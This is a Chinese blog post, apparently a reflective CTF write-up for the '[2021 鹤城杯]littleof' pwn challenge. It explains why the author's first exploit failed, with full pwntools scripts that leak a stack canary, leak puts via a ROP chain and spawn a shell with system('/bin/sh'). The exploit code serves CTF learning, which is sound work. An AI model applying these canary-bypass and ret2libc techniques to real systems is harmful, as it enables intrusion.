反思:泄露canary之后一定要记得处理掉多余的东西————[2021 鹤城杯]littleof

[2021 鹤城杯]littleof

这是一道libc类型的题目,应该是不难的,月余之前遇到。当时思路什么的都理清楚了,脚本也写出来了,结果死活获取不到shell…
最后又重写了一遍才跑成功了。今天又想起来这件事儿,重新捋了一遍。终于是让我找到了原因!
现在把这个原因记录下来,惊醒自己千万要注重细节,不要再犯这种错误

先来看看错哪儿了

在这里插入图片描述
如图,泄露canary之后没有及时处理%s多打印的部分,结果多打印的部分中刚好含有和随后泄露的puts_addt相同的结构“\x7f”,结果导致puts_addr总是取到错误的值,进而导致无法get shell。

现在回过头来看看原题

由于事先写了题解(正确的),这里就稍微偷下懒,不再写一遍了
在这里插入图片描述
首先可以看到它开启了canary保护,另外还有栈不可执行,拖入IDA查看
在这里插入图片描述
首先考虑解决canary,在第一次输入0x48位,\n会覆盖掉canary最后一字节,这里存放的是\x0。这样就会将canary泄露出来。通过特定句式接收即可

canary = u64(sh.recv(7).rjust(8,b'\x00'))

在这里插入图片描述

查找字符串没有发现系统调用函数,准备通过利用libc的方式获得shell,注意到有puts函数,决定泄露puts函数地址

puts_plt = 0x4005B0
puts_got = 0x601018
main_addr = 0x400789
pop_rdi = 0x400863
paylode = b'a'*0x48 + p64(canary) + b'a'*0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter(b'Try harder!',paylode)
puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

由于又重新执行了一遍main函数,canary的值会被重置,所以需要再获取一遍,此处抄作业即可

然后是根据返回的数据确定libc版本,查找系统调用函数什么的,如果使用libcsearcher的话,也有现成的代码使用

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

随后使用上方获得的函数地址获取shell

from pwn import *
from LibcSearcher import *
context(os='Linux',arch='amd64')
sh = process('./littleof')
# sh = remote('node4.anna.nssctf.cn',28516)

# get canary
sh.sendline(b'a'*0x48)
sh.recvuntil(b'aaa\n')
canary = u64(sh.recv(7).rjust(8,b'\x00'))
# print(hex(canary))
# 在使用%s获取canary的时候一定要注意及时处理%s输出的额外内容,本题就是因为此处影响导致最初的exp无法正常获取shell。

# get got
puts_plt = 0x4005B0
puts_got = 0x601018
main_addr = 0x400789
pop_rdi = 0x400863
paylode = b'a'*0x48 + p64(canary) + b'a'*0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter(b'Try harder!',paylode)
puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# print('puts_addr is ',hex(puts_addr))

# get libc
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
# print(system_addr,binsh_addr)

## get libc2Database (以下数据是从libc database中搜索到的,如果libcSwarcher无法正常使用的话可以到database上看一下)
# system_addr = puts_addr - 0x31550
# binsh_addr = puts_addr + 0x13337a

# get canary
sh.sendline(b'a'*0x48)
sh.recvuntil(b'aaa\n')
canary = u64(sh.recv(7).rjust(8,b'\x00'))

# get shell
ret_addr = 0x40059e
paylode = b'a'*0x48 + p64(canary)+ b'a'*0x8 + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.sendline(paylode)
sh.interactive()

错误原因分析

分析错误前先来批判下错误的那段代码

from pwn import *
from LibcSearcher import *
sh = process('./littleof')
context(os='Linux',arch='amd64',log_level='debug')
# sh = remote('node4.anna.nssctf.cn',28043)
canary_paylode = 0x48 * b'a'
sh.sendline(canary_paylode)
print(sh.recvuntil(b"aaa\n"))
canary = u64(sh.recv(7).rjust(8,b'\x00'))
puts_plt_addr = 0x4005b0
puts_got_addr = 0x601018
pop_rdi_ret_addr = 0x400863
main_addr = 0x400789
paylode = b'a'*0x48 + p64(canary) + p64(0) + p64(pop_rdi_ret_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
sh.sendline(paylode) # 就是因为此处出现失误,所以导致libc无法正确定位。失误原因是%s向后输出了额外内容,此处应该将额外内容屏蔽掉,但是由于粗心忘记屏蔽了,结果导致了这种错误,我应该反思。写一篇博客吧!!!
puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
canary_paylode = 0x48 * b'a'
sh.sendline(canary_paylode)
print(sh.recvuntil(b"aaa\n"))
canary = u64(sh.recv(7).rjust(8,b'\x00'))
paylode = b'a'*0x48 + p64(canary) + p64(0) + p64(0x40059e) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sh.sendlineafter(b'harder!',paylode)
sh.interactive()

嘿嘿,依然可以看出来当时的逻辑是多么的混乱,以当时的情况来看,出现这种情况还找不到原因是不可避免的。

由于在文章开头的地方已经分析过错误的原因了,此处就直接给出更正方法
更正方法就是将第十五行的sh.sendline(paylode)更改为sh.shendlineafter(b'Try harder!',paylode)即可。当然,方法不唯一,核心思想就是避免 printf() 函数泄露 canary 时额外打印的内容影响到后续操作即可。

好了,写这篇博客的主要目的是警醒自己,所以没有写的太认真,如果有哪里没看懂的,随时可以来问我,我很乐意提供解释。另外如果有那里我理解的不正确的,也欢迎指正。诸君,共勉

  • 20
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值